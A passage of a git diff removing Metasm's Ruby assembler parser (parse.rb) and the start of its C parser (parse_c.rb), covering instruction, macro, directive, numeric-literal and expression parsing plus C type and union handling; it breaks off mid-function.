deleted file mode 100644 index 962ef2ff47..0000000000 --- a/lib/metasm/metasm/parse.rb +++ /dev/null @@ -1,878 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/preprocessor' - -module Metasm -class Data - # keywords for data definition (used to recognize label names) - DataSpec = %w[db dw dd dq] -end - -class CPU - # parses prefix/name/arguments - # returns an +Instruction+ or raise a ParseError - # if the parameter is a String, a custom AsmPP is built - XXX it will not be able to create labels (eg jmp 1b / jmp $) - def parse_instruction(lexer) - lexer = new_asmprepro(lexer) if lexer.kind_of? String - - i = Instruction.new self - - # find prefixes, break on opcode name - while tok = lexer.readtok and parse_prefix(i, tok.raw) - lexer.skip_space_eol - end - return if not tok - - # allow '.' in opcode name - tok = tok.dup - while ntok = lexer.nexttok and ntok.type == :punct and ntok.raw == '.' - tok.raw << lexer.readtok.raw - ntok = lexer.readtok - raise tok, 'invalid opcode name' if not ntok or ntok.type != :string - tok.raw << ntok.raw - end - - raise tok, 'invalid opcode' if not opcode_list_byname[tok.raw] - - i.opname = tok.raw - i.backtrace = tok.backtrace - lexer.skip_space - - # find arguments list - loop do - break if not ntok = lexer.nexttok - break if i.args.empty? and opcode_list_byname[ntok.raw] and opcode_list_byname[i.opname].find { |op| op.args.empty? } - break if not arg = parse_argument(lexer) - i.args << arg - lexer.skip_space - break if not ntok = lexer.nexttok or ntok.type != :punct or ntok.raw != ',' - lexer.readtok - lexer.skip_space_eol - end - - if not parse_instruction_checkproto(i) - raise tok, "invalid opcode arguments #{i.to_s.inspect}, allowed : #{opcode_list_byname[i.opname].to_a.map { |o| o.args }.inspect}" - end - parse_instruction_fixup(i) - - i - end - - def parse_instruction_checkproto(i) - opcode_list_byname[i.opname].to_a.find { |o| - o.args.length == i.args.length and o.args.zip(i.args).all? { |f, a| parse_arg_valid?(o, f, a) } - } - end - - # called after the instruction is fully parsed - def parse_instruction_fixup(i) - end - - # return false if not a prefix - def parse_prefix(i, word) - end - - # returns a parsed argument - # add your own arguments parser here (registers, memory references..) - def parse_argument(lexer) - Expression.parse(lexer) - end - - # handles .instructions - # XXX handle HLA here ? - def parse_parser_instruction(lexer, instr) - raise instr, 'unknown parser instruction' - end -end - -# asm-specific preprocessor -# handles asm arguments (; ... eol) -# asm macros (name macro args\nbody endm, name equ val) -# initializes token.value (reads integers in hex etc) -# merges consecutive space/eol -class AsmPreprocessor < Preprocessor - # an assembler macro, similar to preprocessor macro - # handles local labels - class Macro - attr_accessor :name, :args, :body, :labels - - def initialize(name) - @name = name - @args, @body, @labels = [], [], [] - end - - # returns the array of token resulting from the application of the macro - # parses arguments if needed, handles macro-local labels - def apply(macro, lexer, program) - args = Preprocessor::Macro.parse_arglist(lexer).to_a - raise @name, 'invalid argument count' if args.length != @args.length - - labels = @labels.inject({}) { |h, l| h.update l => program.new_label(l) } - args = @args.zip(args).inject({}) { |h, (fa, a)| h.update fa.raw => a } - - # apply macro - @body.map { |t| - t = t.dup - t.backtrace += macro.backtrace[-2..-1] if not macro.backtrace.empty? - if labels[t.raw] - t.raw = labels[t.raw] - t - elsif args[t.raw] - # XXX update toks backtrace ? - args[t.raw] - else - t - end - }.flatten - end - - # parses the argument list and the body from lexer - # recognize the local labels - # XXX add eax, - # toto db 42 ; zomg h4x - def parse_definition(lexer) - lexer.skip_space - while tok = lexer.nexttok and tok.type != :eol - # no preprocess argument list - raise @name, 'invalid arg definition' if not tok = lexer.readtok or tok.type != :string - @args << tok - lexer.skip_space - raise @name, 'invalid arg separator' if not tok = lexer.readtok or ((tok.type != :punct or tok.raw != ',') and tok.type != :eol) - break if tok.type == :eol - lexer.skip_space - end - - lexer.skip_space_eol - while tok = lexer.readtok and (tok.type != :string or tok.raw != 'endm') - @body << tok - if @body[-2] and @body[-2].type == :string and @body[-1].raw == ':' and (not @body[-3] or @body[-3].type == :eol) and @body[-2].raw !~ /^[1-9][0-9]*$/ - @labels << @body[-2].raw - elsif @body[-3] and @body[-3].type == :string and @body[-2].type == :space and Data::DataSpec.include?(@body[-1].raw) and (not @body[-4] or @body[-4].type == :eol) - @labels << @body[-3].raw - end - end - end - end - - class Preprocessor::Token - # token already preprocessed for macro def/expansion - attr_accessor :alreadyapp - end - - # the program (used to create new label names) - attr_accessor :program - # hash macro name => Macro - attr_accessor :macro - attr_accessor :may_apreprocess - - def initialize(text='', program=nil) - @program = program - @may_apreprocess = false - @macro = {} - super(text) - end - - def skip_space_eol - readtok while t = nexttok and (t.type == :space or t.type == :eol) - end - - def skip_space - readtok while t = nexttok and t.type == :space - end - - def nexttok - t = readtok - unreadtok t - t - end - - def feed!(*a) - super(*a) - if not @may_apreprocess and (@text =~ / (macro|equ) / or not @macro.empty?) - @may_apreprocess = true - end - self - end - - # reads a token, handles macros/comments/etc - def readtok - tok = super() - return tok if not tok or tok.alreadyapp - - # handle ; comments - if tok.type == :punct and tok.raw[0] == ?; - tok.type = :eol - begin - tok = tok.dup - while ntok = super() and ntok.type != :eol - tok.raw << ntok.raw - end - tok.raw << ntok.raw if ntok - rescue ParseError - # unterminated string - end - end - - # handle macros - if @may_apreprocess and tok.type == :string - if @macro[tok.raw] - @macro[tok.raw].apply(tok, self, @program).reverse_each { |t| unreadtok t } - tok = readtok - else - if ntok = super() and ntok.type == :space and nntok = super() and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') - puts "W: asm: redefinition of macro #{tok.raw} at #{tok.backtrace_str}, previous definition at #{@macro[tok.raw].name.backtrace_str}" if @macro[tok.raw] - m = Macro.new tok - # XXX this allows nested macro definition.. - if nntok.raw == 'macro' - m.parse_definition self - else - # equ - raise nntok if not etok = readtok - unreadtok etok - raise nntok if not v = Expression.parse(self) - etok = etok.dup - etok.type = :string - etok.value = v - etok.raw = v.to_s - m.body << etok - end - @macro[tok.raw] = m - tok = readtok - else - unreadtok nntok - unreadtok ntok - end - end - end - - tok.alreadyapp = true if tok - tok - end -end - -class ExeFormat - # setup self.cursource here - def parse_init - @locallabels_bkw ||= {} - @locallabels_fwd ||= {} - end - - # hash mapping local anonymous label number => unique name - # defined only while parsing - # usage: - # jmp 1f - # 1: - # jmp 1f - # jmp 1b - # 1: - # defined in #parse, replaced in use by Expression#parse - # no macro-scope (macro are gsub-like, and no special handling for those labels is done) - def locallabels_bkw(id) - @locallabels_bkw[id] - end - def locallabels_fwd(id) - @locallabels_fwd[id] ||= new_label("local_#{id}") - end - - # parses an asm source file to an array of Instruction/Data/Align/Offset/Padding - def parse(text, file='<ruby>', lineno=0) - parse_init - @lexer ||= cpu.new_asmprepro('', self) - @lexer.feed text, file, lineno - lasteol = true - - while not @lexer.eos? - tok = @lexer.readtok - next if not tok - case tok.type - when :space - when :eol - lasteol = true - when :punct - case tok.raw - when '.' - tok = tok.dup - while ntok = @lexer.nexttok and ((ntok.type == :string) or (ntok.type == :punct and ntok.raw == '.')) - tok.raw << @lexer.readtok.raw - end - parse_parser_instruction tok - else raise tok, 'syntax error' - end - lasteol = false - when :string - ntok = nntok = nil - if lasteol and ((ntok = @lexer.readtok and ntok.type == :punct and ntok.raw == ':') or - (ntok and ntok.type == :space and nntok = @lexer.nexttok and nntok.type == :string and Data::DataSpec.include?(nntok.raw))) - if tok.raw =~ /^[1-9][0-9]*$/ - # handle anonymous local labels - lname = @locallabels_bkw[tok.raw] = @locallabels_fwd.delete(tok.raw) || new_label('local_'+tok.raw) - else - lname = tok.raw - raise tok, "invalid label name: #{lname.inspect} is reserved" if @cpu.check_reserved_name(lname) - raise tok, "label redefinition" if new_label(lname) != lname - end - l = Label.new(lname) - l.backtrace = tok.backtrace - @cursource << l - lasteol = false - else - lasteol = false - @lexer.unreadtok ntok - @lexer.unreadtok tok - if Data::DataSpec.include?(tok.raw) - @cursource << parse_data - else - @cursource << @cpu.parse_instruction(@lexer) - end - if lname = @locallabels_fwd.delete('endinstr') - l = Label.new(lname) - l.backtrace = tok.backtrace - @cursource << l - end - end - else - raise tok, 'syntax error' - end - end - - puts "Undefined forward reference to anonymous labels #{@locallabels_fwd.keys.inspect}" if $VERBOSE and not @locallabels_fwd.empty? - - self - end - - # create a new label from base, parse it (incl optionnal additionnal src) - # returns the new label name - def parse_new_label(base='', src=nil) - parse_init - label = new_label(base) - @cursource << Label.new(label) - parse src - label - end - - # handles special directives (alignment, changing section, ...) - # special directives start with a dot - def parse_parser_instruction(tok) - case tok.raw.downcase - when '.align' - e = Expression.parse(@lexer).reduce - raise self, 'need immediate alignment size' unless e.kind_of? ::Integer - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type == :punct and ntok.raw == ',' - @lexer.skip_space_eol - # allow single byte value or full data statement - if not ntok = @lexer.readtok or not ntok.type == :string or not Data::DataSpec.include?(ntok.raw) - @lexer.unreadtok ntok - type = 'db' - else - type = ntok.raw - end - fillwith = parse_data_data type - else - @lexer.unreadtok ntok - end - raise tok, 'syntax error' if ntok = @lexer.nexttok and ntok.type != :eol - @cursource << Align.new(e, fillwith, tok.backtrace) - - when '.pad' - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type != :eol - # allow single byte value or full data statement - if not ntok.type == :string or not Data::DataSpec.include?(ntok.raw) - @lexer.unreadtok ntok - type = 'db' - else - type = ntok.raw - end - fillwith = parse_data_data(type) - else - @lexer.unreadtok ntok - end - raise tok, 'syntax error' if ntok = @lexer.nexttok and ntok.type != :eol - @cursource << Padding.new(fillwith, tok.backtrace) - - when '.offset' - e = Expression.parse(@lexer) - raise tok, 'syntax error' if ntok = @lexer.nexttok and ntok.type != :eol - @cursource << Offset.new(e, tok.backtrace) - - when '.padto' - e = Expression.parse(@lexer) - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type == :punct and ntok.raw == ',' - @lexer.skip_space - # allow single byte value or full data statement - if not ntok = @lexer.readtok or not ntok.type == :string or not Data::DataSpec.include?(ntok.raw) - @lexer.unreadtok ntok - type = 'db' - else - type = ntok.raw - end - fillwith = parse_data_data type - else - @lexer.unreadtok ntok - end - raise tok, 'syntax error' if ntok = @lexer.nexttok and ntok.type != :eol - @cursource << Padding.new(fillwith, tok.backtrace) << Offset.new(e, tok.backtrace) - - else - @cpu.parse_parser_instruction(self, tok) - end - end - - def parse_data - raise ParseError, 'internal error' if not tok = @lexer.readtok - raise tok, 'invalid data type' if tok.type != :string or not Data::DataSpec.include?(tok.raw) - type = tok.raw - @lexer.skip_space_eol - arr = [] - loop do - arr << parse_data_data(type) - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type == :punct and ntok.raw == ',' - @lexer.skip_space_eol - else - @lexer.unreadtok ntok - break - end - end - Data.new(type, arr, 1, tok.backtrace) - end - - def parse_data_data(type) - raise ParseError, 'need data content' if not tok = @lexer.readtok - if tok.type == :punct and tok.raw == '?' - Data.new type, :uninitialized, 1, tok.backtrace - elsif tok.type == :quoted - Data.new type, tok.value, 1, tok.backtrace - else - @lexer.unreadtok tok - raise tok, 'invalid data' if not i = Expression.parse(@lexer) - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type == :string and ntok.raw.downcase == 'dup' - raise ntok, 'need immediate count expression' unless (count = i.reduce).kind_of? ::Integer - @lexer.skip_space - raise ntok, 'syntax error, ( expected' if not ntok = @lexer.readtok or ntok.type != :punct or ntok.raw != '(' - content = [] - loop do - content << parse_data_data(type) - @lexer.skip_space - if ntok = @lexer.readtok and ntok.type == :punct and ntok.raw == ',' - @lexer.skip_space_eol - else - @lexer.unreadtok ntok - break - end - end - raise ntok, 'syntax error, ) expected' if not ntok = @lexer.readtok or ntok.type != :punct or ntok.raw != ')' - Data.new type, content, count, tok.backtrace - else - @lexer.unreadtok ntok - Data.new type, i, 1, tok.backtrace - end - end - end -end - -class Expression - # key = operator, value = hash regrouping operators of lower precedence - OP_PRIO = [[:'||'], [:'&&'], [:|], [:^], [:&], [:'==', :'!='], - [:'<', :'>', :'<=', :'>='], [:<<, :>>], [:+, :-], [:*, :/, :%] - ].inject({}) { |h, oplist| - lessprio = h.keys.inject({}) { |hh, op| hh.update op => true } - oplist.each { |op| h[op] = lessprio } - h } - - - class << self - # reads an operator from the lexer, returns the corresponding symbol or nil - def readop(lexer) - if not tok = lexer.readtok or tok.type != :punct - lexer.unreadtok tok - return - end - - if tok.value - if OP_PRIO[tok.value] - return tok - else - lexer.unreadtok tok - return - end - end - - op = tok - case op.raw - # may be followed by itself or '=' - when '>', '<' - if ntok = lexer.readtok and ntok.type == :punct and (ntok.raw == op.raw or ntok.raw == '=') - op = op.dup - op.raw << ntok.raw - else - lexer.unreadtok ntok - end - # may be followed by itself - when '|', '&' - if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == op.raw - op = op.dup - op.raw << ntok.raw - else - lexer.unreadtok ntok - end - # must be followed by '=' - when '!', '=' - if not ntok = lexer.readtok or ntok.type != :punct and ntok.raw != '=' - lexer.unreadtok ntok - lexer.unreadtok tok - return - end - op = op.dup - op.raw << ntok.raw - # ok - when '^', '+', '-', '*', '/', '%' - # unknown - else - lexer.unreadtok tok - return - end - op.value = op.raw.to_sym - op - end - - # parses floats/hex into tok.value, returns nothing - # does not parse unary operators (-/+/~) - def parse_num_value(lexer, tok) - if not tok.value and tok.raw =~ /^[a-f][0-9a-f]*h$/i - # warn on variable name like ffffh - puts "W: Parser: you may want to add a leading 0 to #{tok.raw.inspect} at #{tok.backtrace[-2]}:#{tok.backtrace[-1]}" if $VERBOSE - end - - return if tok.value - return if tok.raw[0] != ?. and !(?0..?9).include? tok.raw[0] - - case tr = tok.raw.downcase - when /^0b([01][01_]*)$/, /^([01][01_]*)b$/ - tok.value = $1.to_i(2) - - when /^(0[0-7][0-7_]*)$/ - tok.value = $1.to_i(8) - - when /^([0-9][a-f0-9_]*)h$/ - tok.value = $1.to_i(16) - - when /^0x([a-f0-9][a-f0-9_]*)(u?l?l?|l?l?u?|p([0-9][0-9_]*[fl]?)?)$/, '0x' - tok.value = $1.to_i(16) if $1 - ntok = lexer.readtok - - # check for C99 hex float - if not tr.include? 'p' and ntok and ntok.type == :punct and ntok.raw == '.' - if not nntok = lexer.readtok or nntok.type != :string - lexer.unreadtok nntok - lexer.unreadtok ntok - return - end - # read all pre-mantissa - tok.raw << ntok.raw - ntok = nntok - tok.raw << ntok.raw if ntok - raise tok, 'invalid hex float' if not ntok or ntok.type != :string or ntok.raw !~ /^[0-9a-f_]*p([0-9][0-9_]*[fl]?)?$/i - raise tok, 'invalid hex float' if tok.raw.delete('_').downcase[0,4] == '0x.p' # no digits - ntok = lexer.readtok - end - - if not tok.raw.downcase.include? 'p' - # standard hex - lexer.unreadtok ntok - else - if tok.raw.downcase[-1] == ?p - # read signed mantissa - tok.raw << ntok.raw if ntok - raise tok, 'invalid hex float' if not ntok or ntok.type == :punct or (ntok.raw != '+' and ntok.raw != '-') - ntok = lexer.readtok - tok.raw << ntok.raw if ntok - raise tok, 'invalid hex float' if not ntok or ntok.type != :string or ntok.raw !~ /^[0-9][0-9_]*[fl]?$/i - end - - raise tok, 'internal error' if not tok.raw.delete('_').downcase =~ /^0x([0-9a-f]*)(?:\.([0-9a-f]*))?p([+-]?[0-9]+)[fl]?$/ - b1, b2, b3 = $1.to_i(16), $2, $3.to_i - b2 = b2.to_i(16) if b2 - tok.value = b1.to_f - # tok.value += 1/b2.to_f # TODO - puts "W: unhandled hex float #{tok.raw}" if $VERBOSE and b2 and b2 != 0 - tok.value *= 2**b3 - puts "hex float: #{tok.raw} => #{tok.value}" if $DEBUG - end - - when /^([0-9][0-9_]*)(u?l?l?|l?l?u?|e([0-9][0-9_]*[fl]?)?)$/, '.' - tok.value = $1.to_i if $1 - ntok = lexer.readtok - if tok.raw == '.' and (not ntok or ntok.type != :string) - lexer.unreadtok ntok - return - end - - if not tr.include? 'e' and tr != '.' and ntok and ntok.type == :punct and ntok.raw == '.' - if not nntok = lexer.readtok or nntok.type != :string - lexer.unreadtok nntok - lexer.unreadtok ntok - return - end - # read upto '.' - tok.raw << ntok.raw - ntok = nntok - end - - if not tok.raw.downcase.include? 'e' and tok.raw[-1] == ?. - # read fractional part - tok.raw << ntok.raw if ntok - raise tok, 'bad float' if not ntok or ntok.type != :string or ntok.raw !~ /^[0-9_]*(e[0-9_]*)?[fl]?$/i - ntok = lexer.readtok - end - - if tok.raw.downcase[-1] == ?e - # read signed exponent - tok.raw << ntok.raw if ntok - raise tok, 'bad float' if not ntok or ntok.type != :punct or (ntok.raw != '+' and ntok.raw != '-') - ntok = lexer.readtok - tok.raw << ntok.raw if ntok - raise tok, 'bad float' if not ntok or ntok.type != :string or ntok.raw !~ /^[0-9][0-9_]*[fl]?$/i - ntok = lexer.readtok - end - - lexer.unreadtok ntok - - if tok.raw.delete('_').downcase =~ /^(?:(?:[0-9]+\.[0-9]*|\.[0-9]+)(?:e[+-]?[0-9]+)?|[0-9]+e[+-]?[0-9]+)[fl]?$/i - tok.value = tok.raw.to_f - else - raise tok, 'internal error' if tok.raw =~ /[e.]/i - end - - else raise tok, 'invalid numeric constant' - end - end - - # parses an integer/a float, sets its tok.value, consumes&aggregate necessary following tokens (point, mantissa..) - # handles $/$$ special asm label name - # XXX for binary, use _ delimiter or 0b prefix, or start with 0 : 1b may conflict with backward local anonymous label reference - def parse_intfloat(lexer, tok) - if not tok.value and tok.raw == '$' - l = lexer.program.cursource.last - if not l.kind_of? Label - l = Label.new(lexer.program.new_label('instr_start')) - l.backtrace = tok.backtrace - lexer.program.cursource << l - end - tok.value = l.name - elsif not tok.value and tok.raw == '$$' - l = lexer.program.cursource.first - if not l.kind_of? Label - l = Label.new(lexer.program.new_label('section_start')) - l.backtrace = tok.backtrace - lexer.program.cursource.unshift l - end - tok.value = l.name - elsif not tok.value and tok.raw == '$_' - tok.value = lexer.program.locallabels_fwd('endinstr') - elsif not tok.value and tok.raw =~ /^([1-9][0-9]*)([fb])$/ - case $2 - when 'b'; tok.value = lexer.program.locallabels_bkw($1) # may fallback to binary parser - when 'f'; tok.value = lexer.program.locallabels_fwd($1) - end - end - - parse_num_value(lexer, tok) - end - - # returns the next value from lexer (parenthesised expression, immediate, variable, unary operators) - def parse_value(lexer) - nil while tok = lexer.readtok and tok.type == :space - return if not tok - case tok.type - when :string - # ignores the 'offset' word if followed by a string - if not tok.value and tok.raw.downcase == 'offset' - nil while ntok = lexer.readtok and ntok.type == :space - if ntok.type == :string; tok = ntok - else lexer.unreadtok ntok - end - end - parse_intfloat(lexer, tok) - val = tok.value || tok.raw - when :quoted - if tok.raw[0] != ?' - lexer.unreadtok tok - return - end - s = tok.value || tok.raw[1..-2] # raise tok, 'need ppcessing !' - s = s.reverse if lexer.respond_to? :program and lexer.program and lexer.program.cpu and lexer.program.cpu.endianness == :little - val = s.unpack('C*').inject(0) { |sum, c| (sum << 8) | c } - when :punct - case tok.raw - when '(' - nil while ntok = lexer.readtok and (ntok.type == :space or ntok.type == :eol) - lexer.unreadtok ntok - val = parse(lexer) - nil while ntok = lexer.readtok and (ntok.type == :space or ntok.type == :eol) - raise tok, "syntax error, no ) found after #{val.inspect}, got #{ntok.inspect}" if not ntok or ntok.type != :punct or ntok.raw != ')' - when '!', '+', '-', '~' - nil while ntok = lexer.readtok and (ntok.type == :space or ntok.type == :eol) - lexer.unreadtok ntok - raise tok, 'need expression after unary operator' if not val = parse_value(lexer) - val = Expression[tok.raw.to_sym, val] - when '.' - parse_intfloat(lexer, tok) - if not tok.value - lexer.unreadtok tok - return - end - val = tok.value - else - lexer.unreadtok tok - return - end - else - lexer.unreadtok tok - return - end - nil while tok = lexer.readtok and tok.type == :space - lexer.unreadtok tok - val - end - - # for boolean operators, true is 1 (or anything != 0), false is 0 - def parse(lexer) - opstack = [] - stack = [] - - return if not e = parse_value(lexer) - - stack << e - - while op = readop(lexer) - nil while ntok = lexer.readtok and (ntok.type == :space or ntok.type == :eol) - lexer.unreadtok ntok - until opstack.empty? or OP_PRIO[op.value][opstack.last] - stack << new(opstack.pop, stack.pop, stack.pop) - end - - opstack << op.value - - raise op, 'need rhs' if not e = parse_value(lexer) - - stack << e - end - - until opstack.empty? - stack << new(opstack.pop, stack.pop, stack.pop) - end - - Expression[stack.first] - end - - # parse an expression in a string - # updates the string to point after the parsed expression - def parse_string!(str, &b) - pp = Preprocessor.new(str) - - e = parse(pp, &b) - - # update arg - len = pp.pos - pp.queue.each { |t| len -= t.raw.length } - str[0, len] = '' - - e - end - - # parse an expression in a string - def parse_string(str, &b) - parse(Preprocessor.new(str), &b) - end - end -end - -# an Expression whose ::parser handles indirection (byte ptr [foobar]) -class IndExpression < Expression - class << self - def parse_value(lexer) - sz = nil - ptr = nil - loop do - nil while tok = lexer.readtok and tok.type == :space - return if not tok - case tok.raw - when 'qword'; sz=8 - when 'dword'; sz=4 - when 'word'; sz=2 - when 'byte'; sz=1 - when 'ptr' - when '[' - ptr = parse(lexer) - nil while tok = lexer.readtok and tok.type == :space - raise tok || lexer, '] expected' if tok.raw != ']' - break - when '*' - ptr = parse_value(lexer) - break - when ':' # symbols, eg ':eax' - n = lexer.readtok - nil while tok = lexer.readtok and tok.type == :space - lexer.unreadtok tok - return n.raw.to_sym - else - lexer.unreadtok tok - break - end - end - raise lexer, 'invalid indirection' if sz and not ptr - if ptr; Indirection[ptr, sz] # if sz is nil, default cpu pointersz is set in resolve_expr - else super(lexer) - end - end - - def parse(*a, &b) - # custom decimal converter - @parse_cb = b if b - e = super(*a) - @parse_cb = nil if b - e - end - - # callback used to customize the parsing of /^([0-9]+)$/ tokens - # implicitely set by parse(expr) { cb } - # allows eg parsing '40000' as 0x40000 when relevant - attr_accessor :parse_cb - - def parse_intfloat(lexer, tok) - case tok.raw - when /^([0-9]+)$/; tok.value = parse_cb ? @parse_cb[$1] : $1.to_i - when /^0x([0-9a-f]+)$/i, /^([0-9a-f]+)h$/i; tok.value = $1.to_i(16) - when /^0b([01]+)$/i; tok.value = $1.to_i(2) - end - end - - def readop(lexer) - if t0 = lexer.readtok and t0.raw == '-' and t1 = lexer.readtok and t1.raw == '>' - op = t0.dup - op.raw << t1.raw - op.value = op.raw.to_sym - op - else - lexer.unreadtok t1 - lexer.unreadtok t0 - super(lexer) - end - end - - def new(op, r, l) - return Indirection[[l, :+, r], nil] if op == :'->' - super(op, r, l) - end - end -end -end diff --git a/lib/metasm/metasm/parse_c.rb b/lib/metasm/metasm/parse_c.rb deleted file mode 100644 index 3ca4793336..0000000000 --- a/lib/metasm/metasm/parse_c.rb +++ /dev/null @@ -1,4043 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/preprocessor' - -module Metasm -# c parser -# inspired from http://www.math.grin.edu/~stone/courses/languages/C-syntax.xhtml -module C - Keyword = %w[struct union enum if else for while do switch goto - register extern auto static typedef const volatile - void int float double char signed unsigned long short - case continue break return default __attribute__ - asm __asm __asm__ sizeof typeof - __declspec __cdecl __stdcall __fastcall __noreturn - inline __inline __inline__ __volatile__ - __int8 __int16 __int32 __int64 - __builtin_offsetof - ].inject({}) { |h, w| h.update w => true } - - class Statement - end - - module Typed # allows quick testing whether an object is an CExpr or a Variable - end - - class Block < Statement - attr_accessor :symbol # hash name => Type/Variable/enum value - attr_accessor :struct # hash name => Struct/Union/Enum - attr_accessor :outer # parent block - attr_accessor :statements # array of Statement/Declaration - attr_accessor :anonymous_enums # array of anonymous Enum - - def initialize(outer, statements=[], symbol={}, struct={}) - @outer = outer - @statements = statements - @symbol = symbol - @struct = struct - end - - def struct_ancestors - @outer ? @outer.struct_ancestors.merge(@struct) : @struct - end - - def symbol_ancestors - @outer ? @outer.symbol_ancestors.merge(@symbol) : @symbol - end - end - - module Attributes - attr_accessor :attributes - - DECLSPECS = %w[cdecl stdcall fastcall inline naked thiscall noreturn] - - # parses a sequence of __attribute__((anything)) into self.attributes (array of string) - def parse_attributes(parser, allow_declspec = false) - while tok = parser.skipspaces and tok.type == :string - case keyword = tok.raw - when '__attribute__', '__declspec' # synonymous: __attribute__((foo)) == __declspec(foo) - raise tok || parser if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - raise tok || parser if keyword == '__attribute__' and (not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(') - nest = 0 - attrib = '' - loop do - raise parser if not tok = parser.skipspaces - if tok.type == :punct and tok.raw == ')' - if nest == 0 - raise tok || parser if keyword == '__attribute__' and (not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')') - break - else - nest -= 1 - end - elsif tok.type == :punct and tok.raw == '(' - nest += 1 - elsif nest == 0 and tok.type == :punct and tok.raw == ',' - raise tok || parser if not allow_declspec and DECLSPECS.include? attrib - add_attribute attrib - attrib = '' - next - end - attrib << tok.raw - end - raise tok || parser, "attr #{attrib.inspect} not allowed here" if not allow_declspec and DECLSPECS.include? attrib - else - if allow_declspec and DECLSPECS.include? keyword.gsub('_', '') - attrib = keyword.gsub('_', '') - else break - end - end - add_attribute(attrib) - end - parser.unreadtok tok - end - - # checks if the object has an attribute in its attribute list - def has_attribute(attr) - attributes.to_a.include? attr - end - - # adds an attribute to the object attribute list if it is not already in it - def add_attribute(attr) - (@attributes ||= []) << attr if not has_attribute(attr) - end - - # checks if the object has an attributes a la __attribute__((attr(stuff))), returns 'stuff' (raw, no split on ',' or anything) - def has_attribute_var(attr) - $1 if attributes.to_a.find { |a| a =~ /^#{attr}\((.*)\)$/ } - end - end - - class Type - include Attributes - attr_accessor :qualifier # const volatile - - def pointer? ; false end - def arithmetic? ; false end - def integral? ; false end - def float? ; false end - def void? ; false end - def base ; self end - def untypedef ; self end - - def parse_initializer(parser, scope) - raise parser, 'expr expected' if not ret = CExpression.parse(parser, scope, false) - p, i = pointer?, integral? - r = ret.reduce(parser) if p or i - if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) - parser.check_compatible_type(parser, ret.type, self) - end - ret - end - - def parse_initializer_designator(parser, scope, value, idx, root=true) - if not root and (not nt = parser.skipspaces or nt.type != :punct or nt.raw != '=') - raise nt || parser, '"=" expected' - end - value[idx] = parse_initializer(parser, scope) - idx + 1 - end - end - class BaseType < Type - attr_accessor :name # :int :long :longlong :short :double :longdouble :float :char :void :__int8/16/32/64 - attr_accessor :specifier # sign specifier only - - def arithmetic? ; @name != :void end - def integral? ; [:char, :short, :int, :long, :longlong, :ptr, - :__int8, :__int16, :__int32, :__int64].include? @name end - def signed? ; specifier != :unsigned end - def float? ; [:float, :double, :longdouble].include? @name end - def void? ; @name == :void end - def align(parser) @name == :double ? 4 : parser.typesize[@name] end - - def initialize(name, *specs) - @name = name - specs.each { |s| - case s - when :const, :volatile; (@qualifier ||= []) << s - when :signed, :unsigned; @specifier = s - when nil - else raise "internal error, got #{name.inspect} #{specs.inspect}" - end - } - end - - def ==(o) - o.object_id == self.object_id or - (o.class == self.class and o.name == self.name and o.specifier == self.specifier and o.attributes == self.attributes) - end - end - class TypeDef < Type - attr_accessor :name - attr_accessor :type - attr_accessor :backtrace - - def initialize(name, type, backtrace) - @name, @type, @backtrace = name, type, backtrace - end - - def parse_initializer(parser, scope) - @type.parse_initializer(parser, scope) - end - - def pointer? ; @type.pointer? end - def arithmetic? ; @type.arithmetic? end - def integral? ; @type.integral? end - def signed? ; @type.signed? end # relevant only if integral? returns true - def float? ; @type.float? end - def void? ; @type.void? end - def untypedef ; @type.untypedef end - def align(parser) @type.align(parser) end # XXX __attribute__ ? - def pointed ; @type.pointed end - end - class Function < Type - attr_accessor :type # return type - attr_accessor :args # [name, Variable] - attr_accessor :varargs # true/false - - def initialize(type=nil, args=nil) - @type = type - @args = args if args - end - - def base ; @type.base ; end - end - class Union < Type - attr_accessor :members # [Variable] - attr_accessor :bits # [bits] or nil - attr_accessor :name - attr_accessor :backtrace - - attr_accessor :fldoffset, :fldbitoffset, :fldlist - - def align(parser) @members.to_a.map { |m| m.type.align(parser) }.max end - - # there is only one instance of a given named struct per parser - # so we just compare struct names here - # for comparison between parsers, see #compare_deep - def ==(o) - o.object_id == self.object_id or - (o.class == self.class and o.name == self.name and ((o.name and true) or compare_deep(o))) - end - - # compare to another structure, comparing members recursively (names and type) - # returns true if the self is same as o - def compare_deep(o, seen = []) - return true if o.object_id == self.object_id - return if o.class != self.class or o.name != self.name or o.attributes != self.attributes - o.members.to_a.zip(self.members.to_a).each { |om, sm| - return if om.name != sm.name - return if om.type != sm.type - if om.type.pointer? - ot = om.type - st = sm.type - 500.times { # limit for selfpointers (shouldnt happen) - break if not ot.pointer? - ot = ot.pointed.untypedef - st = st.pointed.untypedef - } - if ot.kind_of?(C::Union) and ot.name and not seen.include?(ot) - return if not st.compare_deep(ot, seen+[ot]) - end - end - } - true - end - - def findmember(name, igncase=false) - raise 'undefined structure' if not members - return @fldlist[name] if fldlist and @fldlist[name] - - name = name.downcase if igncase - if m = @members.find { |m_| (n = m_.name) and (igncase ? n.downcase : n) == name } - return m - else - @members.each { |m_| - if t = m_.type.untypedef and t.kind_of? Union and mm = t.findmember(name, igncase) - return mm - end - } - end - - nil - end - - def offsetof(parser, name) - raise parser, 'undefined structure' if not members - update_member_cache(parser) if not fldlist - return 0 if @fldlist[name] - - if name.kind_of?(Variable) - return 0 if @members.include? name - raise ParseError, 'unknown union member' - end - - raise parser, 'unknown union member' if not findmember(name) - - @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - }.type.untypedef.offsetof(parser, name) - end - - def bitoffsetof(parser, name) - raise parser, 'undefined structure' if not members - update_member_cache(parser) if not fldlist - return if @fldlist[name] or @members.include?(name) - raise parser, 'undefined union' 